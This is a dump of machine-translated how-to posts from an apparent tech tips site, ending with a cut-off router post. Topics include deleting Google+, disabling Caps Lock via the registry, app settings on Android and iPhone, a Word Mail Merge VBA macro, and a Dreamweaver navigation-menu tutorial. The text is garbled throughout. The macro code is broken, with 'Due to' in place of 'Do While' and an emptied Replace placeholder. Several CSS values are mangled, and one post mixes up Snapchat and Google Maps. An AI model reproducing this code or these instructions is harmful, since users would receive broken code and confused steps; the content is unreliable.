cancel your Google+ account, but keep the same account to log in to Gmail, Youtube . or other Google services.\n  The following article shows you how to delete and cancel your Google + account.\nStep 1: You visit https://plus.google.com to log in to your Google+ account.\nStep 2: After accessing your Google+ account, select your avartar image in the upper right corner and select Account .\n  Step 3: You drag the scroll bar on the right to find the Account Management section .\n  Step 4: In Account Management , if you just want to delete the Google+ account but other services such as Gmail, Youtube remain the same, then select Delete profile and Google+ features .\n  Step 5: Here, you scroll down to the bottom of the page and mark the first two boxes: Also unfollow me from the people I'm following on other Google products and Mandatory: Yes, I understand that deleting a Google profile for Software Dexts cannot be undone and the data I delete cannot be restored . Then select Delete selected services .\n  You will receive a notification from Google+ that you can tell why stop using Google+ and press Submit to help Google+ improve better.\n  The steps are very simple, Google+ has been completely deleted from your Google account, you can still use your account to use gmail, youtube . Wish you success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYygpqifnJp6sbjUrGSappRitLC7xqWcZpmTmLy2utOs\n","link":"/post/how-to-delete-google-plus-and-google-accounts/","section":"post","tags":null,"title":"How to delete Google Plus and Google+ accounts"},{"body":" Almost anyone who has used a word processor has accidentally hit the Caps Lock key and changed the case of what they were writing. This article describes a simple way to disable the Caps Lock key on your keyboard. Note: There is a related...\nMethod 1of 4:\nDisable Caps Lock  Go to Start → Run → regedit \n  Go to HKLMSystemCurrentControlSetControlKeyboard Layout \n  Right-click on the right half of the screen and choose New → Binary \n  Name the new entry \"Scancode Map\" \n  Enter 00000000000000000200000000003A0000000000 \n  Close \n  Reboot.\n Method 2of 4:\nDisable Insert \u0026amp; Caps Lock Simultaneously  Go to Start → Run → regedit \n  Go to HKLMSystemCurrentControlSetControlKeyboard Layout \n  Right-click on the right half of the screen and choose New → Binary Value \n  Name the new value \"Scancode Map\" \n  Enter 000000000000000003000000000052E000003A0000000000 \n  Close regedit \n  Reboot.\n Method 3of 4:\nHardware version  Physically remove the key. Pry the Caps Lock key from the keyboard. This will leave a hole where the key used to be, but you don't need administrator privileges to do this.\n Method 4of 4:\nUsing KeyTweak  Download the KeyTweak program. This is a free program that allows you to remap and disable any key on your keyboard, including the CapsLock key. You can download KeyTweak from a variety of locations online. Make sure to pay attention during the installation of KeyTweak. Depending on where you downloaded it from, you may be prompted to install adware during the installation process. Make sure to read every screen and uncheck any additional software that you don't want to install.   Run the program. After installing KeyTweak, open the program. You will see a display of a virtual keyboard. The keys will be numbered instead of displaying the characters normally printed on them.\n  Select the CapsLock key from the diagram. You can ensure you have the right key selected by looking at the Keyboard Controls section. There you will see what function is currently assigned to the selected key.\n  Click \"Disable Key\". This button is located in the Keyboard Controls section. This will turn off the selected key, which will keep Caps Lock from activating when you press it.\n  Reboot your computer. In order for the changes to take effect, you will need to reboot your computer.\n  Turn Caps Lock back on. When you want to re-enable the CapsLock key again, open up KeyTweak, select the CapsLock key from the diagram, and click the Restore Default button in the Keyboard Controls section. You will need to restart your computer for the changes to take effect.\n  Lesley Montoya Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyZqK6juMRmq6GdXZiusb%2FLqJqkZZuaxm61zWauoqaUpMS0\n","link":"/post/how-to-disable-the-capslock-key-in-windows/","section":"post","tags":null,"title":"How to Disable the Capslock Key in Windows"},{"body":"With dark mode in the Snapchat Android app, you can make your entire interactive experience more novel and eye-friendly. In addition, this interface is also very useful if you often use Google Maps to drive at night, as well as help save battery. The way to activate is as follows.\nEnable dark mode on Google Maps iPhone and iPad apps The Google Maps app supports a dark theme for devices running iOS 13 or iPadOS 13 or later. Also, make sure you've updated the Google Maps app to the latest version on your device.\nTo enable dark mode in Google Maps, you need to do it inside the app the first time. (The dark mode in Google Maps can then be automatically activated when the interface setup on your device switches to dark mode, helping with synchronization.) First, open the Google Maps app and tap the photo your profile in the top right corner.\n  In the menu that appears, select 'Settings'.\n  Under 'Using Maps', tap 'Dark Mode'.\n  In the Dark Mode option, select 'On' to enable the dark theme.\n  Alternatively, you can also select the 'Same As Device Setting' option to have Google Maps automatically activate the dark background theme whenever you enable it on your iPhone and iPad.\n  It's all simply that. Remember that to use the Google Maps widgets with a dark theme, you also need to enable dark mode on your iPhone and iPad.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYydmKujXZeupLfGq6auppRitq95xqimoKSVYrqivNJmpqdlmaW1sLrEZpinnF2evaKw\n","link":"/post/how-to-enable-dark-background-in-google-maps-on-iphone-and-ipad/","section":"post","tags":null,"title":"How to enable dark background in Google Maps on iPhone and iPad"},{"body":"The card in Coin Master, also known as the card in Coin Master, is an item that players can support each other if they receive extra cards in the game.\u0026nbsp;\nIn-game cards can be earned by digging money in a neighbor's house to find a chest or open a chest when running a spin coin master. The quality and quantity of cards will be reflected in the chest material.\nIn the Coin Master Facebook groups in Vietnam, you can see many players calling on those who have spare cards to send them. So if you have a spare card but do not know how to send a card in Coin Master then follow the instructions below.\nHow to send cards, send cards in Coin Master Step 1: First, click the 3 bar icon in the upper right corner. Then choose Card Collection.\n  Step 2: In this you will find your card collection. Click on each card item to send to friends and other players, then select the redundant card as shown below to send. Here my Puddy Cat card has 2 extra cards.\n  Step 3: Click Send at the selected card, then select the person you want to send the card in your friends list and click Select Card . If you go to groups to send cards to help other gamers, you must make friends with them, wait for them to be added to the friend list on Coin Master.\n  You can choose up to 5 cards to send to your friends, in this section only shows redundant tags only. Select the total number of cards you want to send and press Send to send, you will see the message Card successfully sent, which means the card has been successfully sent. For a while, text your friends to see if they have received the card yet.\n  In the tutorial of playing Coin Master for newbies, admin does not add this item because it is a large and possibly upcoming section. this.\nAnd you, join the groups on Facebook to exchange cards in Coin Master with each other and fill your collection offline.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVo7FurYycmKucXZ67bq%2FOoqVmpZGowaa%2B\n","link":"/post/how-to-send-a-card-in-coin-master/","section":"post","tags":null,"title":"How to send a card in Coin Master"},{"body":"As previously reported, YouTube has just announced that the videos will be reduced to the default resolution, starting next month and will apply to all users around the world. YouTube says it will reduce the quality of user videos to help avoid bandwidth overload when more people are at home due to the Covid-19 epidemic.\n By default, YouTube videos will only play at 480P resolution. If you want to watch the video in higher resolution, you'll have to manually customize it. However, if you don't want to change the video playback quality per view, here is how you can change the default YouTube video playback quality so that it always plays high quality videos.\n Step 1: Go to the \"vanced.app\" address, scroll down to the Downloads page, and download the \"Vanced\" and \"MicroG\" installation packages.\n Then access Google Play on Android and install the SAI application (Split APKs Installer).\n Step 2: Copy the \"Vanced\" and \"MicroG\" application installation packages into Android and install each application in turn. For Vanced, it has an APKS format so you will have to use the SAI application to install it.\n Step 3: Launch the Vanced application from the Home screen and access the application's extensive menu page.\n Click on \"Install\".\n Click on the \"Vanced Settings\" line.\n Continue to click on \"Video settings\".\n Here the application will give you 02 default video playback options, including video quality when using a mobile connection (3G / 4G) and video quality when using a Wi-Fi connection. Please proceed to click each option.\n And change the default video quality according to your needs. The change will take effect immediately.\nIn general, this setup wizard is basically taking advantage of the Vanced application, a customized YouTube application with many features that the main application does not have. In particular, you do not need to root your phone to use it. Great is not it?\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq6u9StrJudXam8bq3LsJiyq12luaLFjKGgoKBdpsKiuMitsGaumZmysL%2BMqKVmq52Wv7W8x6ilnqtdrK61r8dmraKclaTAbrrOZqOoppeav26uy66pq52U\n","link":"/post/how-to-set-youtube-to-always-play-high-quality-videos-on-smartphones-watch-videos-no-longer-blurred/","section":"post","tags":null,"title":"How to set YouTube to always play high quality videos on smartphones, watch videos no longer blurred"},{"body":"Digital tools are an important part of modern smartphones. These add-ons aim to create healthier usage habits. Focus Mode is one such tool and is available on all Android devices.\nFocus Mode will work a little differently depending on the Android device you have. The following article will show you how to use Focus Mode on Google Pixel and Samsung Galaxy devices.\nWhat is Focus Mode? As the name suggests, Focus Mode is a tool for eliminating distractions. It is similar to Do Not Disturb but less complicated and more focused. You can set Do Not Disturb mode on a schedule, while Focus Mode is mostly turned on manually whenever you need a break.\nThe general idea is that you select some apps and then when Focus Mode is on, you can't open or receive notifications from them. It's a simple way to quickly block the most distracting apps.\nFocus Mode on Google Pixel phones Focus Mode on Google Pixel phones is almost identical to the \"default\" implementation you'll see. The same goes for non-Samsung Android devices. First, swipe down twice from the top of the screen and tap the gear icon to open Settings.\n  Next, go to the Digital Wellbeing \u0026amp; Parental Controls section.\n  Select Focus Mode.\n  The first thing to do is select the apps you want to block in Focus Mode. Scroll down and select the apps to block.\n  Next, at the top, you can tap Set a Schedule to set a schedule for when Focus Mode will automatically turn on and off. This is not required.\n  You can turn on Focus Mode from the Settings screen, but this is not very convenient. The better method is to add it to the Quick Settings tile. Swipe down twice from the top of the screen and tap the pencil icon to edit the tile layout.\n  The tiles in the top section are in the Quick Settings area. Scroll to the bottom and find the Focus Mode tile. Press and hold, then drag the tile to the top area. Lift your finger to drop the tile.\n  Tap the back arrow in the top left corner when you're done.\n  Now, to enable Focus Mode, just tap the tile from Quick Settings. You can also turn off the feature from the tile or tap Take a Break from the notification to pause it for a while.\n  That's all there is in Focus Mode on Google Pixel phones.\nFocus Mode on Samsung Galaxy phones Focus Mode on Samsung Galaxy devices is a bit different. You can create multiple Focus Modes, and instead of choosing apps to block, choose apps that are allowed to show notifications.\nFirst, swipe down once from the top of the screen and tap the gear icon to open Settings.\n  Scroll down and select Digital Wellbeing and Parental Controls.\n  You'll notice a few pre-made modes in the Focus Mode section. You can choose one to edit or click Add to start from scratch.\n  If you're creating a new Focus Mode, give it a name and click Save.\n  There are some apps that will always be allowed in Focus Mode. To add more content, tap Edit.\n  Select all the apps you want to allow in Focus Mode, then tap Done.\n  If you want this Focus Mode to stay on for a predetermined amount of time, tap Duration and use the plus and minus buttons to set the time.\n  You can start any of these Focus Modes from the Digital Wellbeing page, but it's much easier to do from the Quick Settings buttons.\nSwipe down from the top of the screen twice to see Quick Settings, then swipe right until you see an empty space with a + button.\n  Find the Focus Mode button at the top and drag it down to Quick Settings. Tap Done when the button is in the correct position.\n  You can now tap the Focus Mode button and select the mode you want to use.\n  End Focus Mode by tapping the Quick Settings button again. You will see a summary of the notifications that have been blocked.\n  Tools like these can really help create better usage habits if you feel like your phone is becoming a distraction.\nFocus Mode ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqnu8Kuqmaln5mybrvNZpinnKKktqU%3D\n","link":"/post/how-to-use-focus-mode-on-android/","section":"post","tags":null,"title":"How to use Focus Mode on Android"},{"body":"QuanTriMang - Microsoft Word's Mail Merge feature is one of the great tools for people who regularly work with text, email . In the following article, we will present some steps Basic to use and manage Mail 2010 's Merge Wizard . Here are some steps we need to proceed in order.\nCreate Distribution list:\nThe Mail Merge function makes it easy for us to 'exit' from the tedious data entry process by directly entering email addresses from Outlook, Excel, Access or Word data. Among these options, Outlook is the most suitable and popular, and in the next step, we will go through the process of importing data lists directly from Outlook.\nSet up Mail Profile: \n This setup process will begin by creating a Mail Profile to store relevant information such as addresses, passwords, specifications .:\n  For each account, users can create different individual profiles:\n  The name of the profile should be set to match and easy to remember with a fixed email account:\n  Suitable options for configuring email using the address you received from your service provider or your own account via the 3rd option:\n  Select Internet E-mail if you want to use a support email address via POP protocol, such as Gmail:\n  Each email service provider has a different POP configuration, so make sure you select and use these parameters correctly:\n  Once we have passed this basic setup and configuration step, we are ready to move on to the next step:\n  Specify directory to store contact list:\nUsers can manually import data lists into Outlook, or import directly from other supporting applications, such as GMail, Yahoo, or Hotmail . Most web-based email service providers often support the ability to export contacts to Outlook databases. For example, Gmail allows users to export data to a CSV file - compatible with Outlook:\n  Outlook's import feature supports many popular formats like csv, vcard, RSS, iCalendar .:\n  You just need to choose the right file type in the list:\n  Common formats such as ACT, DOS CSV, Lotus, Access 97-2003, PST . are available, in this test we choose Comma Separated Values ​​(Windows):\n  Next, point the link to the folder where the CSV file has been exported from Gmail:\n  Of all the directories listed here, select Contacts :\n  This import process will happen fast or slow depending on the amount of data backed up:\n  Use Mail Merge:\nLet's start with a new text, select Mail :\n  To get used, it's best to select the Step by Step :\n  The program will ask us to choose between the corresponding templates, our example here is E-mail messages:\n  And start writing emails from blank text, templates or available documents:\n  Select Next Select from Outlook contacts :\n  And use Mail Profile in the list we have set up earlier:\n  The correct list must have a Count greater than 0:\n  Select the account you want to keep in the email section by checking:\n  After that, you can edit the email as usual, and insert the appropriate data fields into the relevant sections such as headlines, signatures, posts .:\n  Each merged data field is enclosed by \u0026gt; , and the information will be fully displayed when you finish this process:\n  See Preview mode to check if Word handles data fields correctly after merge, with the path Next: Preview your e-mail messages :\n  If you are satisfied with the result above, select Next: complete the merge and Word will automatically send the email template to all recipients in the list.\nPersonalize the letter header:\nThe whole process can be divided into specific segments as follows: select the appropriate text sample, create a list, insert data and view Preview, and finally send to the list of recipients prepared. At this point, we can easily recognize two other components that are not supported, namely writing titles with personal information and setting up different attachments. In fact, we must use macros to apply in the mail merge, before completing the entire process.\nIn the message template that is currently open, press Alt + F11 and double-click thisDocument to open the Macro:\n  Then, use the following code snippet - written by macro programmer hutchinsfairy:\nDim WithEvents wdapp As Application\nDim EMAIL_SUBJECT As String\nDim FIRST_RECORD As Boolean\nPrivate Sub Document_Open ()\nSet wdapp = Application\nThisDocument.MailMerge.ShowWizard 1\nEnd Sub\nPrivate Sub Document_Close ()\nSet wdapp = Nothing\nEnd Sub\nPrivate Sub wdapp_MailMergeBeforeRecordMerge (ByVal Doc As Document, Cancel As Boolean)\nDim i As Integer\nWith ActiveDocument.MailMerge\nIf FIRST_RECORD = True Then\nEMAIL_SUBJECT = .MailSubject\nFIRST_RECORD = False\nElse .MailSubject = EMAIL_SUBJECT\nEnd If\ni = .DataSource.DataFields.Count\nDue to i\u0026gt; 0\n.MailSubject = Replace (.MailSubject, \"\", .DataSource.DataFields (i) .Value,,, vbTextCompare)\ni = i - 1\nLoop\nEnd With\nEnd Sub\nPrivate Sub wdapp_MailMergeBeforeMerge (ByVal Doc As Document, ByVal StartRecord As Long, ByVal EndRecord As Long, Cancel As Boolean)\nFIRST_RECORD = True\nEnd Sub\nPrivate Sub wdapp_MailMergeAfterMerge (ByVal Doc As Document, ByVal DocResult As Document)\nActiveDocument.MailMerge.MailSubject = EMAIL_SUBJECT\nEnd Sub\nSave the changes, go back to the edit page and select Next: complete the merge:\n  Click the Electronic Mail link . to send the message:\n  Replace the matching merge data field, inside the  mark in the subject line:\n  The macro will automatically analyze and replace it with the Last Name section of the recipient when Word sends this text via email.\nAttach different file types:\nIn the next section, we will use a support add - in that allows users to attach various files in an email.\nIf you visit here, download and extract the add-in, there will be a number of Word Document templates. If you are using Microsoft word 2007 or 2010 , select CreateEMailData Word 2007 Ver02 , but with Word 2003 , use CreateEMailData Word 2003 Ver02 :\n  Copy this sample document to the % appdata% MicrosoftWordSTARTUP folder, with % appdata% being the folder containing Microsoft startup files. In this case, C: UserszainulAppDataRoaming :\n  Restarting Word, you'll see two new add - ins: Create Data File and Merge to Email below the Mailing menu:\n  Next, prepare the data table for example with a table with 2 columns, on the left is the recipient's email address, on the right is the full path to the corresponding attachments, then save in the same folder with the merge email store with the name: MergeAttachmentsData . This is a required step, because if you save the file to any other name, the add - in will not work:\n  Return to the text and divide it into 2 separate files:\n  A new text window will appear, press the Merge to Email button, and OK:\n  Set the appropriate title for the email, click OK and Outook will send your email with the attachments specified in the data file:\n  These are some of the basic steps to exploit, use and manage the Mail Merge feature of the Microsoft Word editing program, along with the add - in external support. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq680aitnpxdmrqitctmp56qlqS%2Frq3NnJxmr5mptW7Ax55kpqGTp7y0u8WtZLCnopl6rq3IpWSmnaKcsm6yxJqrrqqV\n","link":"/post/improved-email-performance-with-the-microsoft-word-mail-merge-feature/","section":"post","tags":null,"title":"Improved email performance with the Microsoft Word Mail Merge feature"},{"body":"In the sixth part of this series, learn how to style menus and links, apply JavaScript to hide and display menus depending on the screen size.\nCreate website with Dreamweaver CC part 6 Introduce Create styles associated with the pseudo-class Create activation link for navigation menu Create a style for the activation link Style navigation links Show and hide navigation menu Introduce Welcome to part 6 of the tutorial series on building a simple, adaptable website in Dreamweaver CC 2015. The one-column version of the design is nearly complete. The rest is to create links and navigation menus. In this section, you also attach a JavaScript file to display and hide the menu on the small screen.\nCreate a style associated with the pseudo-class By default, links are green with underlines. When you click on this link, it will turn purple. Although these are recognized visual cues, they are no longer suitable for modern design. Now links are often underlined and changed when hovering over them. To style the link in different states, CSS uses pseudo-class. They are called pseudo-classes because unlike regular classes, you cannot add class attributes to elements. The browser applies a pseudo-class using styles in style sheets.\nThe pseudo-class starts with a colon and is directly attached to the selector. The pseudo-classes are used with the following link:\n: link: Create a style associated with an unreachable state. : visited: Create the type of link to be accessed. : hover: Create a style for any element (not just a link) when the mouse pointer moves over it. You used this layer in Part 5 to change the image when hovering over. : active: Style an element at the time of clicking. : focus: Create a style for an selected element such as when using the keyboard to navigate the page. When creating link types, you need to use pseudo-classes in the order listed above. If the order is not correct, you cannot apply it correctly. Many people use the phrase L o V e- HA te to remember the correct order. Dreamweaver's code suggestions can also help you by listing the pseudo-class in the correct order. You should add a layer: focus so that people who can't or do not want to use a mouse can access it when browsing the web on a laptop or desktop computer.\nStep 1. Select a link in Live View and select the h2 selector in CSS Designer 's Selectors framework to create the next style rule right after h2, keeping most of the common selectors in the style sheet. Then click the plus button to create a new selector. Using the up arrow to make the proposed selector less specific, it should indicate a. This will style the link in all states.\nStep 2. In the text of the Properties pane, set the font-weight attribute to bold .\nStep 3 . Select the first icon for the text-decoration property and set its value to none . All links on the page are not bold and underlined.\nStep 4 . Create a new selector for a: link . When typing a colon, Dreamweaver displays code suggestions for pseudo-classes.\nStep 5 . Click on the pink pattern in the CC Libraries frame to copy the color # F68979 to the clipboard and paste it into the editable field to the right of the color for the color attribute.\nStep 6. Create a new selector for a: visited , copy the color # FF944C from the light orange pattern and set it to the value of the color attribute.\nStep 7 . Create a new group selector for a: hover, a: active, a: focus , take the color ( # 7F3300 ) from the orange template to fire and paste it as the value of the color attribute. Also set the text-decoration attribute to underline by selecting the second icon.\nStep 8 . In Live View, hover over a link. It will turn orange burning and be underlined. Otherwise, your link type is in the wrong order in the Selectors framework. Your alignment style order must be the same as the image below.\n  If necessary, you can change the order of the style rule by dragging and dropping the selector in the Selectors frame. A horizontal black line indicates the selector is inserted into the style sheet.\nNow the links have been styled the same. Navigation links need to be styled differently. But first, you need to create an activation link for the navigation menu on the small resolution screen.\nCreate activation link for navigation menu On small resolution screens like mobile phones, navigation menu is often hidden, only displayed when clicking or touching the menu button. In this section, you will provide an ID for the unordered list and add a second level title to the link in the list. The menu link will be hidden in the large resolution screen. CSS and JavaScript control the sliding movement of navigation menus on smaller screens.\nStep 1 . In Live View , select the unordered list of navigation links by clicking on one of those links. This link will be burnt orange and underlined to indicate it is active. Press the up arrow several times until the Element Display shows the selected list. Tab Element Display displays ul.\n  Press the up arrow key while in Live View to move the selection to the HTML hierarchy. If you select an item in the middle of the list, pressing it once will select the tab (hyperlink) of the list item directly above. Click again to select the card\nis the parent element of the link. When continuing to click, Dreamweaver goes to the next hierarchy: element, element .  With the element\nselected, click on the plus sign button Element Display and assign the navigation link ID to the unordered list by entering #navlinks enter the field appears. Click Tab or Enter / Return to confirm changes. Make sure the responsive.css are selected in the drop-down menu Select a source in the control panel pops up, then click to close it. Note: When using Element Display to assign an ID or class to an element, Dreamweaver will automatically create a blank style rule for that ID or class if not already in your CSS. If you don't want to create a style rule, press the Escape key to skip the pop-up panel. Automatic rule creation is only enabled when you specify a class or ID via Element Display . That doesn't happen when using the DOM dashboard or the Property checker.\nStep 2 . Still choose an unordered list, select Insert\u0026gt; Heading\u0026gt; H2 . Select Before in Position Assist Dialog to insert a second-level title directly above the unordered list.\nStep 3. Double-click the placeholder text in the title to enter Edit mode and replace the placeholder text with the Menu . While still in Edit mode, select Menu and click on the link icon to convert into a link. Enter #navlinks in the link field and exit Edit mode.\n  This creates a link to the element that has ID navlinks on the same page, in other words the list of unordered navigation links.\nStep 4. Ensure the element\nselected in Live View (you may need to press the arrow once if the element is selected). Then assign the element ID menulink with the Plus button on the Element Display . Step 5 . Check basic HTML in Code View . Element\nwill look like this: Home Sights Dining Events Lodging Note : The value of the id attributes in the element\nand do not start with #. However, the value of the href attribute in the link starts with #. This is because the value means finding this ID. The reason you need to put the # before ID in Element Display or DOM is to distinguish it from a class. In CSS, the ID selector starts with # and the class selector starts with a dot, so Dreamweaver uses the same convention in its user interface when applying IDs and classes to elements.\nNote: ID can only be used once in a page, while a class can be used for multiple elements. Class ID and name cannot contain spaces. To separate words, use hyphens or underscores. In addition, you can use camel case (capitalize the first letter of each subsequent word), do not use special characters or other punctuation.\nStep 6. When creating a new ID or class with Element Display , the related selector is always created at the bottom of the Selectors frame. To keep styles in a logical order, select #menulink in the Selectors frame and drag it into place after other types of links. Release the mouse when the black horizontal bar is just below the group selector a: hover, a: active, a: focus.\n  Step 7. Move the #navlinks selector right below #menulink.\nCreate a style for the activation link The activation link is nested in a title\n. By default, the browser displays second-level headers with a bold font of large size. The design requires a smaller, lighter font. Because it will be used on mobile devices, the link needs to be easy to touch, so it needs to cover the entire width of the title instead of just the text. Step 1 . With #menulink selected in CSS Designer's Selectors framework, put all the margins on the element. There are two ways to do this:\nClick on Set Shorthand , type 0. Click on the link icon in the middle of the visual tool and set it to 0 or 0px .   Step 2 . Also set the following attributes and values:\ntext-align : center background-color: # 1E1E1E (dark gray in CC Libraries table) Now the text is centered on a dark background and extends the entire width of the wrapper\n. The title here is considered a block level element that fills all space horizontally.\nStep 3 . In Live View , make sure the element of the activation link is selected. Note the Element Display border only surrounds the text.\n  Step 4. Create a descendant selector for #menulink a. Then, in the text of the Properties pane, set the following properties and values:\ncolor : white font-weight : 200 text-decoration : none text-transform : uppercase Step 5 . Click on the icon to return to the layout section and set the following attributes and values:\ndisplay : block padding-top : 0.1em padding-bottom : 0.1em As soon as the display attribute is set to block , Element Display for the tag will expand the entire width of the title, making all properties clickable.\n  Style navigation links Navigation links are in an unordered list. To style them, you need to delete the default bullets, margins and buffers that browsers apply to lists. You also need to set them so that they can be clicked across the entire width using the same technique for the activation link.\nStep 1 . With #navlinks selected in CSS Designer's Selectors framework, set the following properties and values ​​in the layout of the Properties pane as follows:\nwidth: 100% margin: 0 (all parties) padding : 0 (all parties) Step 2. Click the uppercase T icon to skip the text properties and set text-align to center .\nStep 3 . Scroll down to the end of the text and delete the bullets by setting the list-style-type attribute to none .\nStep 4 . Click the icon on the dark bottom to skip the background properties and click on the color well for background-color to open the color picker. It defaults to black but we can turn it into a semi-transparent color.\nSelect the RGBa button at the bottom of the color picker and drag the Alpha slider (that's the third button on the right) to about a third of the bar. The value in the field on the lower left must be rgba (0.0,0,0,65) or so.\n  RGBa color format includes four values ​​separated by commas. The first three values ​​set the Red, Green, and Blue components of the color using an integer between 0-255 and the final value sets the alpha transparency in the range from 0 (completely transparent) to 1 (completely opaque). Click on the color picker to close it.\nStep 5 . Older browsers do not understand RGBa color format, so you need to set the background color instead. To do so, you need to edit the style sheet manually in Code View .\nRight-click the #navlinks selector in the Selector pane and select Go to Code from the context menu.\n  This will open Split View with the insertion point at the end of the selected style rule.\nStep 6 . Insert a new line above define background-color and add the following code:\nbackground-color: #000000;  As soon as you type # , the color picker will open, just press Enter / Return to close it. Dreamweaver insert hexadecimal code for black, do not forget a semicolon at the end of the line. The modified style rule will look like the image below.\n  Specifying the color twice like this to take advantage of the CSS cascade. The second value overrides the first value in browsers that understand RGBa format. Older browsers do not understand RGBa just ignore the second definition and apply black background using hexadecimal values.\nStep 7 . Close Split View by clicking on the Live button.\nStep 8 . Create the #navlinks a descendant selector for the links in the navigation menu and set the following attributes and values ​​in the layout section:\ndisplay : block padding-top : 10px padding-bottom : 10px Step 9 . Click on the icon to ignore the text properties and set the following values:\ncolor : white font-weight : 400 text-decoration : none text-transform : uppercase The navigation menu now looks like the image below.\n  Although navigation links are still in an unordered list, the styles have changed completely 'appearance'.\nShow and hide navigation menu The process of displaying and hiding menus is done using a combination of CSS and JavaScript. Whenever clicking or touching the activation link or the browser view changes in size smaller than the specified width, JavaScript will change the name of the layer applied to the unordered list of the link. Navigation links. The menu will be hidden only when JavaScript is enabled.\nYou will attach JavaScript to the following page. First, type the navigation menu in the displayed state.\nStep 1 . The position of the navigation menu when hidden and when shown are controlled by absolute positioning of CSS. Highlight the #navlinks selector in CSS Designer's Selectors framework and set the position to absolute attribute (it is in the layout of the Properties pane, just below the padding visual tool).\nThen the Golden Gate Bridge image will move down the navigation link.\n  This happens because absolute positioning elements are removed from the normal document stream and they float on a separate layer before the other elements.\nStep 2 . In the DOM table, add a class to the unordered list by double-clicking on #navlinks to open the edit field. Enter a space after #navlinks, followed by .displayed (starting with a dot) as shown in the image below. Then click out there to confirm the edit.\n  Although you can also use Element Display to assign a class to an unordered list, it automatically creates a selector in the Selectors framework of CSS Designer.\nStep 3 . With #navlinks selected in the Selectors pane, click the plus button to create a new selector. Enter # navlinks.displayed into editable fields.\nYou need to make sure there is no space between #navlinks and dots at the top of the class selector. This is not a descendant selector: # navlinks.displayed, select an element with the navlinks IDs and layers displayed.\nStep 4 . In the layout of the Properties frame, use the visual tool below the position attribute to set the top to 135px .\n  Technically, this operation sets the absolute position for the above unordered list to 135px (calculated from the beginning of its container). In this case, the page is a container, so we'll set it to 135px from the top of the page. You will learn more about absolute position in Part 7.\nStep 5 . In the department set, set z-index and opacity to 1 .\nTo set the z-index attribute to select the value from the drop-down menu, then enter 1. This attribute sets the order of sorting the positioning elements and it ensures that the navigation menu will not suddenly disappear after any something else.\nThe element has a value between 0 (completely transparent) and 1 (completely opaque). The menu will fade at the same time with sliding out of sight.\nStep 6 . Create a selector called # navlinks.start and set the display property to none .\nStep 7. Create a selector called # navlinks.collapsed and set the following attributes and values:\ntop : –12em opacity : 0 Setting the top attribute to a negative value will move the top of the unordered list out of view at the top of the page. With opacity set to 0 it is also invisible.\nStep 8 . To activate the menu, you need to attach the JavaScript file to the page. This file contains a function that finds the name ID, so it should be attached after all HTML has been loaded. To insert the script into the correct position, select the footer in Live View , then select Insert\u0026gt; HTML\u0026gt; Script .\nStep 9 . This script must be behind the footer, so select After from Position Assist Dialog to open the Select File dialog box. Navigate to the js directory in the root directory and select menu.js and click on OK (Windows) or Open (Mac).\nIf all of your style and HTML definitions are correct, the navigation menu will disappear from Live View. This is because the function in the JavaScript file changes the layer on the navigation menu, set the display property to none . After a fraction of a second, it changes the class to a collapsed style, so the ready menu is displayed when clicking on the activation link.\nStep 10 . Click the MENU above the Golden Gate Bridge image, the navigation menu is displayed. Click again and the menu disappears. Please make it forward smoother.\nStep 11 . Right-click on #navlinks in the CSS Designer Selectors frame and select Go to Code from the context menu.\nStep 12 . Add the following two lines of code right before the quotation marks of the #navlinks style rule (hint code will help you):\n-webkit-transition: all ease-out 0.5s; transition: all ease-out 0.5s;  This will cause the browser to pass all attributes on its element and descendants in 0.5 seconds.\nThe modified style rule will look like the image below.\n  Step 12 . Check the navigation menu again. This time it should slip in and out.\nStep 13 . When the navigation menu is displayed, click on the Home link to select it in Live View . Then click the Element Display button and click this page in the editable field to apply the layer to the link.\nPress Tab or Enter / Return to confirm the edit, but press Escape when the pop-up panel asks you to select the source for the type. You do not want to create a selector because the style will be part of a much longer selector.\nStep 14 . Select #navlinks a in the CSS Designer framework of CSS Designer and click on the plus button to create a new selector. Enter the following group selector in the edit field:\n #navlinks a: hover, #navlinks a: active, #navlinks a: focus, #navlinks a.thispage  This will style the navigation link in the pseudo-class: hover,: active, and: focus class as well as navigation links with thispage.\nStep 15 . In the text of the Properties pane, set the color property to # F68979 . The Home link and other links will turn pink when you hover over them.\nStep 16 . Save your work: File\u0026gt; Save All Related Files .\nIn case the menu does not work, you may have done something wrong. Browser (Dreamweaver's Live View) can fix errors in HTML. They are also quite good at handling common errors in CSS but not with JavaScript. If there are errors in JavaScript, the menu will not work.\nThe script in menu.js uses IIFE, a function expression is executed immediately. It takes three IDs of the activation link, the ID of the unordered list and the number of stops that the menu will be hidden when the browser view changes in size. If you provide another element ID or misspell, the function will not work. JavaScript is case sensitive, so it considers menulink and menuLink to be completely different values.\nAnother error can occur in CSS. You need to check the last three avlink.displayed, # navlink.start and # navlink.collapsed, there should be no space between them. Also, you should check that you have added a semicolon at the end of each manual typing rule line.\nIf the menu still doesn't work, compare your file with the file in the sample file directory in Part 6. You don't need to care about the number of lines only looking for differences in code. Dreamweaver can be integrated with third-party file comparison utility, which will make it easy to find the difference.\nDon't be discouraged when making mistakes. This is an important part of the learning process. Even experts make mistakes. The difference is that experience teaches them how to detect and fix errors faster.\nSo we have completed the single column design for the Bayside Beat website. In the next section, you will be guided to adjust the two-column layout design and change the appearance of the navigation menu.\nSee more:\nInstructions for creating websites with Dreamweaver CC part 1 Instructions for creating websites with Dreamweaver CC part 2 Instructions for creating websites with Dreamweaver CC part 3 Instructions for creating websites with Dreamweaver CC part 4 Instructions for creating websites with Dreamweaver CC part 5 ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabopqutbXNoGSwnZKotrWx0mauoqyYYrGzscCmrp6Zppq%2Fbq%2FCZqeaqqRig26v0Z6YrZ1dobavt9JmmKecXaOut7XGmquip55iuqa61Kw%3D\n","link":"/post/instructions-for-creating-websites-with-dreamweaver-cc/","section":"post","tags":null,"title":"Instructions for creating websites with Dreamweaver CC"},{"body":"Wireless Router Tenda W311R has Wifi broadcast function for mobile devices or laptops that can access the internet, do you know how to configure them? The following article will show you how to configure them.\nNote before configuring the Wireless Router Tenda W311R:\n - You need to carefully look at the parameters attached to the router such as the address to access ( 